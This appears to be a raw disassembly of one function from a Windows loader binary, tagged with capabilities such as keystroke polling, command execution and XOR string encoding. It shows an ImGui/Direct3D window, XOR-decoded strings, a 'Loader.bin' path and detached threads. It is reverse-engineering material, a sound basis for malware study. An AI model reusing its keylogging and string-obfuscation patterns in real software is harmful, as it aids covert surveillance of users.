Function at 0x14004e320
Capabilities:
Create process on windows
Create thread
Delete file
Encode data using xor
Execute command
Log keystrokes via polling
Set file attributes
Terminate process

Disassembly:
push rbp
push r14
lea rbp, [rsp - 0xb88]
sub rsp, 0xc88
mov rax, qword [0x14010b080]
xor rax, rsp
mov qword [rbp + 0xac0], rax
mov ecx, 8
call fcn.1400c1df4
lea rcx, [0x14004a270]
xor r14d, r14d
mov r9, rax
lea r8, [0x14005b4e0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0xa48]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xa40], rax
test rax, rax
je 0x14005561d
mov qword [rsp + 0xca0], rbx
mov qword [rsp + 0xca8], rsi
mov qword [rsp + 0xcb0], rdi
mov qword [rsp + 0xc80], r12
mov qword [rsp + 0xc78], r13
mov qword [rsp + 0xc70], r15
movaps xmmword [rsp + 0xc60], xmm6
movaps xmmword [rsp + 0xc50], xmm7
movaps xmmword [rsp + 0xc40], xmm8
movaps xmmword [rsp + 0xc30], xmm9
movaps xmmword [rsp + 0xc20], xmm10
movaps xmmword [rsp + 0xc10], xmm11
movaps xmmword [rsp + 0xc00], xmm12
movaps xmmword [rsp + 0xbf0], xmm13
movaps xmmword [rsp + 0xbe0], xmm14
movaps xmmword [rsp + 0xbd0], xmm15
cmp dword [rbp + 0xa48], r14d
je 0x140055611
movaps xmm0, xmmword [rbp + 0xa40]
lea rcx, [rbp + 0x530]
movdqa xmmword [rbp + 0x530], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140055611
xorps xmm0, xmm0
lea rcx, [rbp + 0xa18]
movdqa xmmword [rbp + 0xa40], xmm0
call fcn.140049a40
lea rax, [0x140055b40]
mov dword [rbp + 0x9c0], 0x50
xor ecx, ecx
mov qword [rbp + 0x9c8], rax
mov dword [rbp + 0x9c4], 0x40
mov qword [rbp + 0x9d0], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp qword [rbp + 0xa30], 0x10
lea rcx, [rbp + 0x9c0]
mov qword [rbp + 0x9d8], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x9e0], xmm0
lea rax, [rbp + 0xa18]
movdqu xmmword [rbp + 0x9f0], xmm1
cmovae rax, qword [rbp + 0xa18]
mov qword [rbp + 0xa00], rax
mov qword [rbp + 0xa08], r14
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rax, qword [rbp + 0x9d8]
lea r8, [rbp + 0xa18]
cmp qword [rbp + 0xa30], 0x10
mov r15d, 5
mov rdx, qword [rbp + 0xa00]
mov r9d, 0x80000000
cmovae r8, qword [rbp + 0xa18]
xor ecx, ecx
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
call qword [sym.imp.USER32.dll_CreateWindowExA]
lea ecx, [r14 + 0x20]
mov qword [rbp + 0x530], rax
mov rbx, rax
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x1401e2a28], rax
mov rcx, rax
test rax, rax
je 0x140055551
mov qword [0x1401e29e0], r14
lea r8d, [r14 + 1]
mov qword [0x1401e29ec], r14
mov r9, rbx
mov dword [0x1401e29f4], r14d
xor edx, edx
mov qword [0x1401e29fc], r14
mov dword [0x1401e2a04], r14d
mov qword [0x1401e2a14], r14
mov dword [0x1401e2a08], 1
mov dword [0x1401e29f8], 1
mov dword [0x1401e29e8], r14d
mov dword [0x1401e2a0c], 1
mov dword [0x1401e2a10], 0x50
mov dword [0x1401e2a1c], 1
mov rax, qword [rax]
mov r10, qword [rax + 0x80]
lea rax, [0x1401e2a20]
mov qword [rsp + 0x30], rax
lea rax, [0x1401e29e0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
call r10
test eax, eax
js 0x14005554a
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rax, qword [0x1401e29d0]
test rax, rax
je 0x14004e62f
inc dword [rax + 0x3b0]
mov ecx, 0x40b0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14004e64b
xor edx, edx
mov rcx, rax
call fcn.140001ee0
jmp 0x14004e64e
mov rax, r14
cmp qword [0x1401e29d0], r14
jne 0x14004e65e
mov qword [0x1401e29d0], rax
mov rcx, rax
call fcn.140008bc0
mov rsi, qword [0x1401e29d0]
lea rdi, [0x1400f7460]
movss xmm3, dword [0x1400f84c8]
lea rdx, [0x1400d9d00]
mov qword [rsp + 0x28], rdi
mov qword [rbp + 0x528], rsi
mov qword [rsi + 0x20], r14
or dword [rsi + 8], 0x400
mov rcx, qword [rsi + 0xa8]
mov qword [rsp + 0x20], r14
call fcn.140030450
mov rax, qword [0x1401e29d0]
lea rdx, [0x1400d9d00]
movss xmm14, dword [0x1400f84dc]
mov qword [rsp + 0x28], rdi
movaps xmm3, xmm14
mov qword [rsp + 0x20], r14
mov rcx, qword [rax + 0xa8]
call fcn.140030450
mov rcx, qword [0x1401e29d0]
mov r12, rax
movaps xmm0, xmmword [0x1400f8790]
movaps xmm1, xmmword [0x1400f8760]
mov qword [rcx + 0x163c], r14
mov dword [rcx + 0x1648], r14d
mov dword [rcx + 0x1670], 0x40400000
mov dword [rcx + 0x1674], 0x40a00000
mov qword [rcx + 0x1678], 0x40400000
mov dword [rcx + 0x16a8], 0x40c00000
movups xmmword [rcx + 0x174c], xmm0
movaps xmm0, xmmword [0x1400f8750]
movups xmmword [rcx + 0x171c], xmm1
movaps xmm1, xmmword [0x1400f8790]
movups xmmword [rcx + 0x172c], xmm0
movaps xmm0, xmmword [0x1400f8770]
movups xmmword [rcx + 0x16fc], xmm1
movaps xmm1, xmmword [0x1400f8750]
movups xmmword [rcx + 0x176c], xmm0
movaps xmm0, xmmword [0x1400f87a0]
movups xmmword [rcx + 0x177c], xmm1
movaps xmm1, xmmword [0x1400f8770]
movups xmmword [rcx + 0x178c], xmm0
movaps xmm0, xmmword [0x1400f8750]
movups xmmword [rcx + 0x184c], xmm1
movaps xmm1, xmmword [0x1400f87a0]
movups xmmword [rcx + 0x185c], xmm0
movaps xmm0, xmmword [0x1400f8790]
movups xmmword [rcx + 0x186c], xmm1
movups xmmword [rcx + 0x181c], xmm0
mov rcx, rbx
call fcn.140036180
mov rcx, qword [0x1401e2a20]
lea rax, str.imgui_impl_dx9
mov rbx, qword [0x1401e29d0]
mov qword [0x1401e2df8], rcx
mov qword [rbx + 0xe8], rax
or dword [rbx + 0xc], 0x1008
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
test dword [rbx + 8], 0x400
je 0x14004e845
mov rax, qword [0x1401e29d0]
lea rcx, [fcn.140035e50]
mov qword [rax + 0x15f0], rcx
lea rcx, [fcn.140035f20]
mov qword [rax + 0x15f8], rcx
lea rcx, [0x140035fa0]
mov qword [rax + 0x1600], rcx
lea rcx, [0x140036000]
mov qword [rax + 0x1608], rcx
lea rcx, [0x140036150]
mov qword [rax + 0x1610], rcx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0xa60]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0xa68]
lea rdx, str.C:ProgramDataLoader.bin
add eax, 0xfffffdda
mov qword [rbp + 0x4a0], r14
xorps xmm0, xmm0
mov qword [rbp + 0x4a8], r14
lea rcx, [rbp + 0x490]
movups xmmword [0x1401e2a30], xmm0
movd xmm6, eax
mov eax, dword [rbp + 0xa6c]
add eax, 0xfffffea2
cvtdq2ps xmm6, xmm6
movd xmm7, eax
xor eax, eax
mulss xmm6, dword [0x1400f8408]
mov word [0x1401e2a50], ax
cvtdq2ps xmm7, xmm7
lea r8d, [rax + 0x19]
movss dword [rbp + 0xe8], xmm6
mulss xmm7, dword [0x1400f8408]
movups xmmword [0x1401e2a40], xmm0
movss dword [rbp + 0xe4], xmm7
movups xmmword [rbp + 0x490], xmm0
call fcn.140058d70
lea rdx, [rbp + 0x490]
call fcn.1400492f0
mov rdx, qword [rbp + 0x4a8]
cmp rdx, 0x10
jb 0x14004e932
mov rcx, qword [rbp + 0x490]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e92d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400555d2
call fcn.1400c1ae0
lea rcx, [0x1401e2b10]
mov qword [rbp + 0x4a0], r14
mov qword [rbp + 0x4a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x490], r14b
call fcn.14006be30
cmp byte [0x1401e2d20], r14b
jne 0x14004e9b8
lea rdx, [rbp + 0x5c0]
call fcn.140055630
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14004e98f
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor al, 0x36
mov byte [rbx + 5], al
lea rcx, [0x1401e2d28]
call fcn.140057520
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r13d, dword [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
movss xmm13, dword [0x1400f84c0]
mov edi, Ordinal_33
movss xmm15, dword [0x1400f8568]
xorps xmm12, xmm12
movss xmm8, dword [0x1400f8580]
movups xmmword [rbp + 0xa70], xmm0
movups xmmword [rbp + 0xa80], xmm0
movups xmmword [rbp + 0xa90], xmm0
nop dword [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0xa70]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14004ea40
lea rcx, [rbp + 0xa70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xa70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1400550b6
cmp qword [0x1401e2de8], 0
jne 0x14004ea4f
call fcn.140035ce0
mov rcx, qword [0x1401e2e20]
lea rdx, [rbp + 0x9a8]
mov rbx, qword [0x1401e29d0]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x9a8], xmm0
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x9b4]
sub eax, dword [rbp + 0x9ac]
movd xmm1, eax
mov eax, dword [rbp + 0x9b0]
sub eax, dword [rbp + 0x9a8]
cmp byte [reloc.WS2_32.dll_accept], 0
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x10], xmm0
movss dword [rbx + 0x14], xmm1
je 0x14004eb03
mov rdi, qword [0x1401e29d0]
mov ecx, dword [rdi + 0x161c]
test ecx, ecx
jns 0x14004eadc
mov eax, ecx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, ecx
lea rcx, [rdi + 0x1618]
test eax, eax
cmovg edx, eax
call fcn.140023820
xor r9d, r9d
mov dword [rdi + 0x1618], r14d
lea r8, [0x140036bc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
mov byte [reloc.WS2_32.dll_accept], 0
mov edi, Ordinal_33
lea rcx, [rbp + 0xa38]
mov qword [rbp + 0xa38], r14
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp + 0xa38]
xorps xmm1, xmm1
sub rax, qword [0x1401e2e28]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x1401e2e30]
mov ecx, reloc.WS2_32.dll_recvfrom
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rbx + 0x18], xmm1
mov rax, qword [rbp + 0xa38]
mov qword [0x1401e2e28], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_recv
and al, 1
mov byte [rbx + 0x13c], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_select
and al, 1
mov byte [rbx + 0x13d], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13e], al
mov byte [rbx + 0x13f], 0
call fcn.1400366f0
cmp byte [rbx + 0xcf], 0
je 0x14004ebae
mov eax, 0xffffffff
jmp 0x14004ebbb
mov rax, qword [0x1401e29d0]
mov eax, dword [rax + 0x20d0]
cmp dword [reloc.WS2_32.dll_htons], eax
je 0x14004ebce
mov dword [reloc.WS2_32.dll_htons], eax
call fcn.140036570
call fcn.1400368f0
call fcn.1400078a0
mov rcx, qword [0x1401e29d0]
lea rdx, [0x14013314b]
movaps xmm0, xmm6
movaps xmm1, xmm12
unpcklps xmm0, xmm7
mov r8d, 0x149
unpcklps xmm1, xmm12
movsd qword [rcx + 0x1dd4], xmm0
movsd qword [rcx + 0x1ddc], xmm1
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
or dword [rcx + 0x1dc0], 3
mov dword [rcx + 0x1de4], 0x44098000
mov dword [rcx + 0x1de8], 0x43af0000
mov dword [rcx + 0x1dc8], 1
or dword [rcx + 0x1dc0], 0x40
mov dword [rcx + 0x1e20], 0x3f800000
lea rcx, [rbp + 0xa18]
cmp qword [rbp + 0xa30], 0x10
cmovae rcx, qword [rbp + 0xa18]
call fcn.14000de10
call fcn.14004a280
call fcn.14004df40
cmp byte [reloc.WS2_32.dll_accept], 0
mov rcx, qword [0x1401e29d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movsd xmm0, qword [rax + 0x50]
mov rbx, qword [rax + 0x2f8]
movaps xmm10, xmm0
movss xmm9, dword [rax + 0x58]
movsd qword [rsp + 0x60], xmm0
movss xmm11, dword [rsp + 0x60]
shufps xmm10, xmm10, 0x55
je 0x14004f0b1
movaps xmm0, xmmword [0x1400f8750]
lea rcx, [rbp + 0x898]
movups xmmword [rbp + 0x898], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov dword [rsp + 0x28], r14d
addss xmm1, dword [0x1400f84f0]
movaps xmm0, xmm9
movss dword [rsp + 0x20], xmm12
addss xmm0, xmm11
mov r9d, eax
lea r8, [rbp + 0x1f8]
mov rcx, rbx
lea rdx, [rsp + 0x60]
movss dword [rbp + 0x1fc], xmm1
movss dword [rbp + 0x1f8], xmm0
call fcn.14002f1e0
mov eax, dword [0x1400f8348]
mov r8d, r14d
mov dword [rbp + 0x100], eax
movzx eax, word [0x1400f834c]
mov word [rbp + 0x104], ax
movzx eax, byte [0x1400f834e]
mov byte [rbp + 0x106], al
movups xmm0, xmmword [str.bg_]
movups xmmword [rbp + 0xf0], xmm0
cmp r13d, 2
jl 0x14004eebd
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0xf0]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14004edb0
cmp r8d, 0x17
jge 0x14004ef04
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x14004eed0
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x8a8]
movups xmmword [rbp + 0x8a8], xmm0
call fcn.140003830
movaps xmm2, xmm10
movaps xmm1, xmm11
addss xmm2, xmm13
mov r8d, eax
addss xmm1, xmm13
mov rcx, r12
test eax, 0xff000000
je 0x14004efcb
lea rdx, [rbp + 0xf0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rdx + rax], 0
jne 0x14004ef50
lea rdx, [rbp + 0xf0]
add rdx, rax
lea rax, [rbp + 0xf0]
cmp rax, rdx
je 0x14004efcb
test r12, r12
jne 0x14004ef7c
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0xf0]
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm1
mov dword [rsp + 0x20], r8d
unpcklps xmm0, xmm2
movaps xmm2, xmm14
movq r9, xmm0
call fcn.140033470
mov rcx, qword [0x1401e29d0]
lea r8, [rbp + 0x200]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp - 0x38]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400f857c]
addss xmm2, dword [0x1400f84bc]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x130]
movss xmm1, dword [rax + 0x134]
maxss xmm0, dword [rax + 0x118]
maxss xmm1, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov eax, dword [str.tjz_5]
mov rdx, qword [0x1401e2a58]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x1400f7c50]
xor byte [rbp - 0x37], 0x32
xor al, 0x35
xor byte [rbp - 0x36], 0x33
xor byte [rbp - 0x35], 0x34
mov byte [rbp - 0x34], al
mov dword [rbp + 0x200], 0x41a00000
mov dword [rbp + 0x204], 0x41a00000
mov byte [rbp - 0x38], 0x45
call fcn.14004aa30
movss xmm8, dword [0x1400f8580]
test al, al
je 0x14004f0b1
mov byte [reloc.WS2_32.dll_accept], 0
cmp byte [0x1401e29c9], 0
jne 0x140054c9f
cmp byte [0x1401e29cb], 0
jne 0x14004fafb
mov eax, dword [0x1400f81f0]
mov r8d, r14d
movsd xmm0, qword [str.pggpxcqzoy]
mov dword [rbp + 0x18], eax
movzx eax, byte [0x1400f81f4]
mov byte [rbp + 0x1c], al
movsd qword [rbp + 0x10], xmm0
cmp r13d, 2
jl 0x14004f204
movdqa xmm2, xmmword [0x1400f8670]
mov r8d, 8
movdqa xmm3, xmmword [0x1400f8680]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm0, xmm2
mov eax, dword [0x1400f86e0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r15d
movd xmm5, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.pggpxcqzoy]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
movd xmm1, dword [rbp + 0x14]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14004f210
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x8b8]
movups xmmword [rbp + 0x8b8], xmm0
call fcn.140003830
movaps xmm2, xmm10
movaps xmm1, xmm11
mov r8d, eax
mov rcx, r12
addss xmm2, dword [0x1400f8518]
addss xmm1, dword [0x1400f8518]
test eax, 0xff000000
je 0x14004f302
lea rdx, [rbp + 0x10]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rdx + rax], 0
jne 0x14004f290
lea rdx, [rbp + 0x10]
add rdx, rax
lea rax, [rbp + 0x10]
cmp rax, rdx
je 0x14004f302
test r12, r12
jne 0x14004f2b6
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x10]
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm1
mov dword [rsp + 0x20], r8d
unpcklps xmm0, xmm2
movaps xmm2, xmm14
movq r9, xmm0
call fcn.140033470
mov rcx, qword [0x1401e29d0]
movss xmm6, dword [0x1400f8500]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x1400f852c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x130]
movss xmm1, dword [rax + 0x134]
maxss xmm0, dword [rax + 0x118]
maxss xmm1, xmm2
movss dword [rax + 0x130], xmm0
movsd xmm0, qword [0x1400f82a8]
movss dword [rax + 0x134], xmm1
or dword [rcx + 0x1e58], 1
movzx eax, word [0x1400f82b0]
mov dword [rcx + 0x1e5c], 0x43430000
mov ecx, 0x8000
cmp byte [0x1401e29ca], 0
movsd qword [rsp + 0x78], xmm0
cmovne ecx, r14d
mov word [rbp - 0x80], ax
cmp byte [0x1400f82b1], 0
je 0x14004f3fb
xor byte [rsp + 0x79], 0x32
xor byte [rsp + 0x7a], 0x33
xor byte [rsp + 0x7b], 0x34
xor byte [rsp + 0x7c], 0x35
xor byte [rsp + 0x7d], 0x36
xor byte [rsp + 0x7e], 0x37
xor byte [rsp + 0x7f], 0x38
xor byte [rbp - 0x80], 0x39
xor byte [rbp - 0x7f], 0x3a
mov byte [rsp + 0x78], reloc.WLDAP32.dll_Ordinal_35
mov qword [rsp + 0x38], r14
lea rax, [rbp + 0x208]
mov qword [rsp + 0x30], r14
lea r8, [0x1401e2a30]
mov dword [rsp + 0x28], ecx
mov r9d, Ordinal_35
lea rcx, [rsp + 0x78]
mov qword [rbp + 0x208], 0
xor edx, edx
mov qword [rsp + 0x20], rax
call fcn.14003e720
mov rcx, qword [0x1401e29d0]
lea rdx, [rbp + 0x210]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp - 0x60]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x1400f8540]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x130]
movss xmm1, dword [rax + 0x134]
maxss xmm0, dword [rax + 0x118]
maxss xmm1, xmm2
movss dword [rax + 0x130], xmm0
movsd xmm0, qword [str.r_xb9]
movss dword [rax + 0x134], xmm1
movzx eax, byte [reloc.WS2_32.dll_gethostname]
movsd qword [rbp - 0x60], xmm0
xor al, 0x39
xor byte [rbp - 0x5f], 0x32
xor byte [rbp - 0x5e], 0x33
xor byte [rbp - 0x5d], 0x34
xor byte [rbp - 0x5c], 0x35
xor byte [rbp - 0x5b], 0x36
xor byte [rbp - 0x5a], 0x37
xor byte [rbp - 0x59], 0x38
mov byte [rbp - 0x58], al
mov dword [rbp + 0x210], 0x43430000
mov dword [rbp + 0x214], 0x41c80000
mov byte [rbp - 0x60], 0x43
call fcn.14004bc60
test al, al
je 0x14004f5a4
mov ecx, 8
mov byte [0x1401e29c9], 1
call fcn.1400c1df4
lea rcx, [rbp + 0xa10]
mov r9, rax
lea r8, [0x14005b510]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0xa58]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xa50], rax
test rax, rax
je 0x1400550c8
cmp dword [rbp + 0xa58], 0
je 0x140055611
movaps xmm0, xmmword [rbp + 0xa50]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140055611
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xa50], xmm0
cmp byte [0x1400f7c61], 0
mov rcx, qword [0x1401e29d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x1400f8548]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movsd xmm0, qword [0x1400f7c58]
movzx eax, word [0x1400f7c60]
movsd qword [rbp - 0x78], xmm0
mov word [rbp - 0x70], ax
je 0x14004f66b
xor byte [rbp - 0x77], 0x32
xor byte [rbp - 0x76], 0x33
xor byte [rbp - 0x75], 0x34
xor byte [rbp - 0x74], 0x35
xor byte [rbp - 0x73], 0x36
xor byte [rbp - 0x72], 0x37
xor byte [rbp - 0x71], 0x38
xor byte [rbp - 0x70], 0x39
xor byte [rbp - 0x6f], 0x3a
mov byte [rbp - 0x78], reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp - 0x78]
call fcn.14004b350
mov rcx, qword [0x1401e29d0]
lea r8, [rbp + 0x218]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
